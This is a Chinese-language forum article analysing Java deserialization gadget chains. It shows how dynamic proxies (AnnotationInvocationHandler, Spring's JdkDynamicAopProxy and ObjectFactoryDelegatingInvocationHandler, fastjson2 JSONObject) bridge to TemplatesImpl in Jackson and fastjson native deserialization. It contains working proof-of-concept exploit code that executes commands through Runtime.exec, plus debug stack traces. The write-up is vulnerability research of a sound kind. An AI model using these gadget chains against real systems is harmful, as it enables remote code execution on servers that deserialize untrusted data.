问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
fastjson 原生反序列化配合动态代理绕过限制
对于动态代理,只记得 cc1 接触过一次,然后就没有怎么碰到过了,而且动态代理似乎利用面还是比较广的,许多关键时刻都会使用到,这里正好来重新学习学习,还记得入门 java 的时候动态代理就学了半天,感觉确实很抽象
fastjson 原生反序列化配合动态代理绕过限制 ========================= 前言 -- 对于动态代理,只记得 cc1 接触过一次,然后就没有怎么碰到过了,而且动态代理似乎利用面还是比较广的,许多关键时刻都会使用到,这里正好来重新学习学习,还记得入门 java 的时候动态代理就学了半天,感觉确实很抽象 cc1 动态代理初识 ---------- 首先是我们的调用链 ```php AnnotationInvocationHan.readobject--proxy.entryset--AnnotationInvocationHan.invoke--LazyMap.get--chainedTransformer.transformer.... ``` **POC** ```php package cc1; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class CC1lazy { public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException { //定义一系列Transformer对象,组成一个变换链 Transformer[] transformers = new Transformer[]{ //返回Runtime.class new ConstantTransformer(Runtime.class), //通过反射调用getRuntime()方法获取Runtime对象 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}), //通过反射调用invoke()方法 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), //通过反射调用exec()方法启动notepad new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; //将多个Transformer对象组合成一个链 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap hash = new HashMap<>(); //使用chainedTransformer装饰HashMap生成新的Map Map decorate = LazyMap.decorate(hash, chainedTransformer); //通过反射获取AnnotationInvocationHandler类的构造方法 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class); //设置构造方法为可访问的 constructor.setAccessible(true); //通过反射创建 Override 类的代理对象 instance,并设置其调用会委托给 decorate 对象 InvocationHandler instance = (InvocationHandler) constructor.newInstance(Override.class, decorate); //因为AnnotationInvocationHandler是继承了代理接口的,所以可以直接使用它的构造器去构造一个代理的处理器,但是需要强转 //创建Map接口的代理对象proxyInstance,并设置其调用处理器为instance Map proxyInstance = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, instance); //再次通过反射创建代理对象 Object o = constructor.newInstance(Override.class, proxyInstance); serialize(o); unserialize("1.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin"))); out.writeObject(obj); } public static void unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename))); out.readObject(); } } ``` 这里我们只对动态代理的部分做分析 这里本来的目的是寻找一个能够嫁接调用 get 的地方 找到了 AnnotationInvocationHandler 的 invoke 方法 ```php public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else if (var5.length != 0) { throw new AssertionError("Too many parameters for an annotation method"); } else { switch (var4) { case "toString": return this.toStringImpl(); case "hashCode": return this.hashCodeImpl(); case "annotationType": return this.type; default: Object var6 = this.memberValues.get(var4); if (var6 == null) { throw new IncompleteAnnotationException(this.type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0) { var6 = this.cloneArray(var6); } return var6; } } } } ``` 只需要它的 memberValues 可以控制就 ok 所以就回到了如何触发 invoke 的问题上来了  可以看到他 implements 了InvocationHandler 这个接口,说明这个类也可以动态代理 因为实现了这个接口必须重写一个 invoke 方法,而且方法会在代理对象的方法被调用时执行,所以我们如果创建一个动态代理,而且把它作为代理的处理器,那么就可以成功的触发 invoke 方法 我们知道因为动态代理的缘故,只要有代理对象的方法被触发,他也会触发。 具体的 cc1 的细节我们就不看了,关键就是如何出的 invoke 方法 接下来是怎么创建一个代理,来把这个类作为代理对象?我们只要使用 Proxy 创建一个代理实例,将我们构造的 AnnotationInvocationHandler 对象作为调用处理器传入。代理什么? 由于 AnnotationInvocationHandler.readObject() 是反序列化的入口,我们需要通过 AnnotationInvocationHandler 来包装由 Proxy 创建的代理对象,并将其重新序列化。 在反序列化时,memberValues 的 entrySet() 方法会被调用,而我们希望 memberValues 内部存储的代理对象能够触发 invoke() 方法,从而进入我们构造的链条。 因为 memberValues 是一个 Map 类型,所以我们需要通过 Proxy 创建一个 Map 类型的代理对象。 简单的调试看看调用栈 ```php invoke:57, AnnotationInvocationHandler (sun.reflect.annotation) entrySet:-1, $Proxy1 (com.sun.proxy) readObject:444, AnnotationInvocationHandler (sun.reflect.annotation) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) invokeReadObject:1058, ObjectStreamClass (java.io) readSerialData:1900, ObjectInputStream (java.io) readOrdinaryObject:1801, ObjectInputStream (java.io) readObject0:1351, ObjectInputStream (java.io) readObject:371, ObjectInputStream (java.io) unserialize:67, CC1lazy (cc1) main:57, CC1lazy (cc1) ``` 这里因为调用了 public abstract java.util.Set java.util.Map.entrySet()触发了动态代理 调用代理的 invoke 方法,从而接起了后面的链子 JdkDynamicAopProxy 代理绕过 ----------------------- 当然上面的代理虽然是我们链子中的常客,但是限制还是很大的,因为在高版本的 jdk 改了 这里我们看看这个动态代理类 首先如何寻找这种代理呢 其实很简单,只需要实现我们的接口,我们找接口的实现类  但是限制就是需要我们存在依赖 网上找了一下,发现以前见过,网上公开的利用就是在 jackson 原生反序列化的时候 参考https://xz.aliyun.com/t/12846?time\_\_1311=GqGxuDcDRGexlxx2DU27oDkmD8SGCmzmeD 是为了解决 jackson 原生不稳定的痛点 正常的调用链 ```php package org.jackson; import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; public class EXP { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); ctClass.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass); constructor.setBody("Runtime.getRuntime().exec(\"calc\");"); ctClass.addConstructor(constructor); byte[] bytes = ctClass.toBytecode(); Templates templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes}); setFieldValue(templatesImpl, "_name", "xxx"); setFieldValue(templatesImpl, "_tfactory", null); POJONode jsonNodes = new POJONode(templatesImpl); BadAttributeValueExpException exp = new BadAttributeValueExpException(null); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(exp,jsonNodes); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr); objectOutputStream.writeObject(exp); FileOutputStream fout=new FileOutputStream("1.ser"); fout.write(barr.toByteArray()); fout.close(); FileInputStream fileInputStream = new FileInputStream("1.ser"); System.out.println(serial(exp)); deserial(serial(exp)); } public static String serial(Object o) throws IOException, NoSuchFieldException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.close(); String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String; } public static void deserial(String data) throws Exception { byte[] base64decodedBytes = Base64.getDecoder().decode(data); ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } private static void setFieldValue(Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, arg); } } ``` 但是会爆错 ```php Caused by: java.lang.NullPointerException at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getStylesheetDOM(TemplatesImpl.java:450) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ``` 爆指针的问题 是因为 在调用 getter 方法的时候,是根据 props 的顺序来决定的 ```php protected void serializeFields(Object bean, JsonGenerator gen, SerializerProvider provider) throws IOException { final BeanPropertyWriter[] props; if (_filteredProps != null && provider.getActiveView() != null) { props = _filteredProps; } else { props = _props; } int i = 0; try { for (final int len = props.length; i < len; ++i) { BeanPropertyWriter prop = props[i]; if (prop != null) { // can have nulls in filtered list prop.serializeAsField(bean, gen, provider); } } if (_anyGetterWriter != null) { _anyGetterWriter.getAndSerialize(bean, gen, provider); } } catch (Exception e) { String name = (i == props.length) ? "[anySetter]" : props[i].getName(); wrapAndThrow(provider, e, bean, name); } catch (StackOverflowError e) { ... } } ``` 顺序不固定 ```php transletindex stylesheetDOM outputProperties ``` 当 `stylesheetDOM` 在 `outputProperties` 之前,所以 `getStylesheetDOM` 会先于 `getOutputProperties` 触发。当 `getStylesheetDOM` 方法先被触发时,由于 `_sdom` 成员为空,会导致空指针报错,反序列化攻击失败。 所以我们利用 JdkDynamicAopProxy 类来代理就是为了解决不稳定痛点 我们看到它的 invoke 方法 ```php public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { Object oldProxy = null; boolean setProxyContext = false; TargetSource targetSource = this.advised.targetSource; Object target = null; Object retVal; try { if (!this.equalsDefined && AopUtils.isEqualsMethod(method)) { Boolean var18 = this.equals(args[0]); return var18; } if (!this.hashCodeDefined && AopUtils.isHashCodeMethod(method)) { Integer var17 = this.hashCode(); return var17; } if (method.getDeclaringClass() == DecoratingProxy.class) { Class var16 = AopProxyUtils.ultimateTargetClass(this.advised); return var16; } if (this.advised.opaque || !method.getDeclaringClass().isInterface() || !method.getDeclaringClass().isAssignableFrom(Advised.class)) { if (this.advised.exposeProxy) { oldProxy = AopContext.setCurrentProxy(proxy); setProxyContext = true; } target = targetSource.getTarget(); Class<?> targetClass = target != null ? target.getClass() : null; List chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass); if (chain.isEmpty()) { Object[] argsToUse = AopProxyUtils.adaptArgumentsIfNecessary(method, args); retVal = AopUtils.invokeJoinpointUsingReflection(target, method, argsToUse); } else { MethodInvocation invocation = new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain); retVal = invocation.proceed(); } Class<?> returnType = method.getReturnType(); if (retVal != null && retVal == target && returnType != Object.class && returnType.isInstance(proxy) && !RawTargetAccess.class.isAssignableFrom(method.getDeclaringClass())) { retVal = proxy; } else if (retVal == null && returnType != Void.TYPE && returnType.isPrimitive()) { throw new AopInvocationException("Null return value from advice does not match primitive return type for: " + method); } Object var12 = retVal; return var12; } retVal = AopUtils.invokeJoinpointUsingReflection(this.advised, method, args); } finally { if (target != null && !targetSource.isStatic()) { targetSource.releaseTarget(target); } if (setProxyContext) { AopContext.setCurrentProxy(oldProxy); } } return retVal; } ``` 最后会返回一个 retVal 对象,而这个对象是 ```php AopUtils.invokeJoinpointUsingReflection(this.advised, method, args) ``` 得来的,跟进 invokeJoinpointUsingReflection 方法  可以看到可以反射调用方法 而 `advised` 成员是一个 `org.springframework.aop.framework.AdvisedSupport` 类型的对象,它的 `targetSource` 成员中保存了 `JdkDynamicAopProxy` 类代理的接口的实现类。 思路就是 ```php 1. 构造一个 `JdkDynamicAopProxy` 类型的对象,将 `TemplatesImpl` 类型的对象设置为 `targetSource` 2. 使用这个 `JdkDynamicAopProxy` 类型的对象构造一个代理类,代理 `javax.xml.transform.Templates` 接口 3. JSON 序列化库只能从这个 `JdkDynamicAopProxy` 类型的对象上找到 `getOutputProperties` 方法 4. 通过代理类的 `invoke` 机制,触发 `TemplatesImpl#getOutputProperties` 方法,实现恶意类加载 ``` 我们举一反三,使用在 fastjson 的原生反序列化中 替代 TemplatesImpl 并不容易,主要是因为要么所需的依赖库较为冷门,或者对版本的要求较为严格,要么是替代品的使用方式并不直观或不够灵活。 因此,换一种思路,我尝试在 JsonArray 和 TemplatesImpl 之间引入一个“中间层”,作为一个连接桥梁,这样既避免了直接替换 TemplatesImpl 的复杂性,又能够实现所需的功能 这里我们调试一下文章给出的代码 ```php public class Fastjson4_JdkDynamicAopProxy { public Object getObject (String cmd) throws Exception { Object node1 = TemplatesImplNode.makeGadget(cmd); Object node2 = JdkDynamicAopProxyNode.makeGadget(node1); Proxy proxy = (Proxy) Proxy.newProxyInstance(Proxy.class.getClassLoader(), new Class[]{Templates.class}, (InvocationHandler)node2); Object node3 = JsonArrayNode.makeGadget(2,proxy); Object node4 = BadAttrValExeNode.makeGadget(node3); Object[] array = new Object[]{node1,node4}; Object node5 = HashMapNode.makeGadget(array); return node5; } public static void main(String[] args) throws Exception { Object object = new Fastjson4_JdkDynamicAopProxy().getObject(Util.getDefaultTestCmd()); Util.runGadgets(object); } } ``` 可以很直观的看到是代理了 Templates 接口 在代理类的构造中 ```php public class JdkDynamicAopProxyNode { public static Object makeGadget(Object gadget) throws Exception { AdvisedSupport as = new AdvisedSupport(); as.setTargetSource(new SingletonTargetSource(gadget)); return Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy",AdvisedSupport.class,as); } } ``` 我们构造的恶意 TemplatesImpl 作为 TargetSource  因为代理的是 Templates  可以看到是只有一个 getter 方法,所以调用栈如下 ```php invoke:160, JdkDynamicAopProxy (org.springframework.aop.framework) getOutputProperties:-1, $Proxy1 (com.sun.proxy) write:-1, OWG_1_1_$Proxy1 (com.alibaba.fastjson2.writer) write:3124, JSONWriterUTF16 (com.alibaba.fastjson2) toString:914, JSONArray (com.alibaba.fastjson2) readObject:86, BadAttributeValueExpException (javax.management) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) invokeReadObject:1058, ObjectStreamClass (java.io) readSerialData:1900, ObjectInputStream (java.io) readOrdinaryObject:1801, ObjectInputStream (java.io) readObject0:1351, ObjectInputStream (java.io) readObject:371, ObjectInputStream (java.io) readObject:1396, HashMap (java.util) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) invokeReadObject:1058, ObjectStreamClass (java.io) readSerialData:1900, ObjectInputStream (java.io) readOrdinaryObject:1801, ObjectInputStream (java.io) readObject0:1351, ObjectInputStream (java.io) readObject:371, ObjectInputStream (java.io) deserialize:53, Util (common) runGadgets:38, Util (common) main:24, Fastjson4_JdkDynamicAopProxy ``` 只会调用getOutputProperties 方法,触发我们的 invoke  然后调用到我们 `TemplatesImpl#getOutputProperties` 方法成功实现中间过渡  ObjectFactoryDelegatingInvocationHandler 绕过 ------------------------------------------- 还是一样方法  首先主体逻辑还是和上面一样的,核心还是代理 Templates 接口 我们看到 invoke 方法 ```php public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { switch (method.getName()) { case "equals": return proxy == args[0]; case "hashCode": return System.identityHashCode(proxy); case "toString": return this.objectFactory.toString(); default: try { return method.invoke(this.objectFactory.getObject(), args); } catch (InvocationTargetException var6) { throw var6.getTargetException(); } } } ``` 可以看到逻辑,还是一样的,不过区别在于我们的对象是 this.objectFactory.getObject()获取的了 目的就是需要它返回我们的 teamplatesImpl 对象 首先我们寻找继承了 ObjectFactory 的类  也不太多 找了一下确实没有能够利用的 这里师傅的想法是 用 JSONObject 代理 ObjectFactoryDelegatingInvocationHandler 中的 objectFactory 属性,返回 teamplatesImpl 说真的,简直很妙 我们看到 invoke 方法  没想到它也是一个代理类 调试分析一下 ```php invoke:292, AutowireUtils$ObjectFactoryDelegatingInvocationHandler (org.springframework.beans.factory.support) getOutputProperties:-1, $Proxy2 (com.sun.proxy) write:-1, OWG_1_1_$Proxy2 (com.alibaba.fastjson2.writer) write:3124, JSONWriterUTF16 (com.alibaba.fastjson2) toString:914, JSONArray (com.alibaba.fastjson2) readObject:86, BadAttributeValueExpException (javax.management) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) invokeReadObject:1058, ObjectStreamClass (java.io) readSerialData:1900, ObjectInputStream (java.io) readOrdinaryObject:1801, ObjectInputStream (java.io) readObject0:1351, ObjectInputStream (java.io) readObject:371, ObjectInputStream (java.io) readObject:1396, HashMap (java.util) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) invokeReadObject:1058, ObjectStreamClass (java.io) readSerialData:1900, ObjectInputStream (java.io) readOrdinaryObject:1801, ObjectInputStream (java.io) readObject0:1351, ObjectInputStream (java.io) readObject:371, ObjectInputStream (java.io) deserialize:53, Util (common) runGadgets:38, Util (common) main:33, Fastjson4_ObjectFactoryDelegatingInvocationHandler ```  然后调用 JSONObject 的 invoke 方法 ```php public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { String methodName = method.getName(); int parameterCount = method.getParameterCount(); Class<?> returnType = method.getReturnType(); if (parameterCount == 1) { if ("equals".equals(methodName)) { return this.equals(args[0]); } else { Class proxyInterface = null; Class<?>[] interfaces = proxy.getClass().getInterfaces(); if (interfaces.length == 1) { proxyInterface = interfaces[0]; } if (returnType != Void.TYPE && returnType != proxyInterface) { throw new JSONException("This method '" + methodName + "' is not a setter"); } else { String name = this.getJSONFieldName(method); if (name == null) { if (!methodName.startsWith("set")) { throw new JSONException("This method '" + methodName + "' is not a setter"); } name = methodName.substring(3); if (name.length() == 0) { throw new JSONException("This method '" + methodName + "' is an illegal setter"); } name = Character.toLowerCase(name.charAt(0)) + name.substring(1); } this.put(name, args[0]); return returnType != Void.TYPE ? proxy : null; } } } else if (parameterCount == 0) { if (returnType == Void.TYPE) { throw new JSONException("This method '" + methodName + "' is not a getter"); } else { String name = this.getJSONFieldName(method); Object value; if (name == null) { boolean with = false; int prefix; if ((methodName.startsWith("get") || (with = methodName.startsWith("with"))) && methodName.length() > (prefix = with ? 4 : 3)) { char[] chars = new char[methodName.length() - prefix]; methodName.getChars(prefix, methodName.length(), chars, 0); if (chars[0] >= 'A' && chars[0] <= 'Z') { chars[0] = (char)(chars[0] + 32); } String fieldName = new String(chars); if (fieldName.isEmpty()) { throw new JSONException("This method '" + methodName + "' is an illegal getter"); } value = this.get(fieldName); if (value == null) { return null; } } else { if (!methodName.startsWith("is")) { if ("hashCode".equals(methodName)) { return this.hashCode(); } if ("toString".equals(methodName)) { return this.toString(); } if (methodName.startsWith("entrySet")) { return this.entrySet(); } if ("size".equals(methodName)) { return this.size(); } Class<?> declaringClass = method.getDeclaringClass(); if (declaringClass.isInterface() && !Modifier.isAbstract(method.getModifiers()) && !JDKUtils.ANDROID && !JDKUtils.GRAAL) { MethodHandles.Lookup lookup = JDKUtils.trustedLookup(declaringClass); MethodHandle methodHandle = lookup.findSpecial(declaringClass, method.getName(), MethodType.methodType(returnType), declaringClass); return methodHandle.invoke(proxy); } throw new JSONException("This method '" + methodName + "' is not a getter"); } if ("isEmpty".equals(methodName)) { value = this.get("empty"); if (value == null) { return this.isEmpty(); } } else { name = methodName.substring(2); if (name.isEmpty()) { throw new JSONException("This method '" + methodName + "' is an illegal getter"); } name = Character.toLowerCase(name.charAt(0)) + name.substring(1); value = this.get(name); if (value == null) { return false; } } } } else { value = this.get(name); if (value == null) { return null; } } if (!returnType.isInstance(value)) { Function typeConvert = JSONFactory.getDefaultObjectReaderProvider().getTypeConvert(value.getClass(), method.getGenericReturnType()); if (typeConvert != null) { value = typeConvert.apply(value); } } return value; } } else { throw new UnsupportedOperationException(method.toGenericString()); } } ``` 最后返回的是 value,我们主要关心 value 因为我们调用的方法是 getObejct\\ 会进入如下的 if ```php if ((methodName.startsWith("get") || (with = methodName.startsWith("with"))) && methodName.length() > (prefix = with ? 4 : 3)) { char[] chars = new char[methodName.length() - prefix]; methodName.getChars(prefix, methodName.length(), chars, 0); if (chars[0] >= 'A' && chars[0] <= 'Z') { chars[0] = (char)(chars[0] + 32); } String fieldName = new String(chars); if (fieldName.isEmpty()) { throw new JSONException("This method '" + methodName + "' is an illegal getter"); } value = this.get(fieldName); if (value == null) { return null; } ```   可以看出来是取出了我们的对象,成功达成目的   最后成功达成目的
发表于 2025-02-19 09:00:00
阅读 ( 1382 )
分类:
漏洞分析
0 推荐
收藏
1 条评论
蓝兔公主
1天前
请问师父能给一个完整的代码文件?因为我测试下来会被resolveProxyClass拦截。估计代码写的有问题。
请先
登录
后评论
请先
登录
后评论
nn0nkeyk1n9
3 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!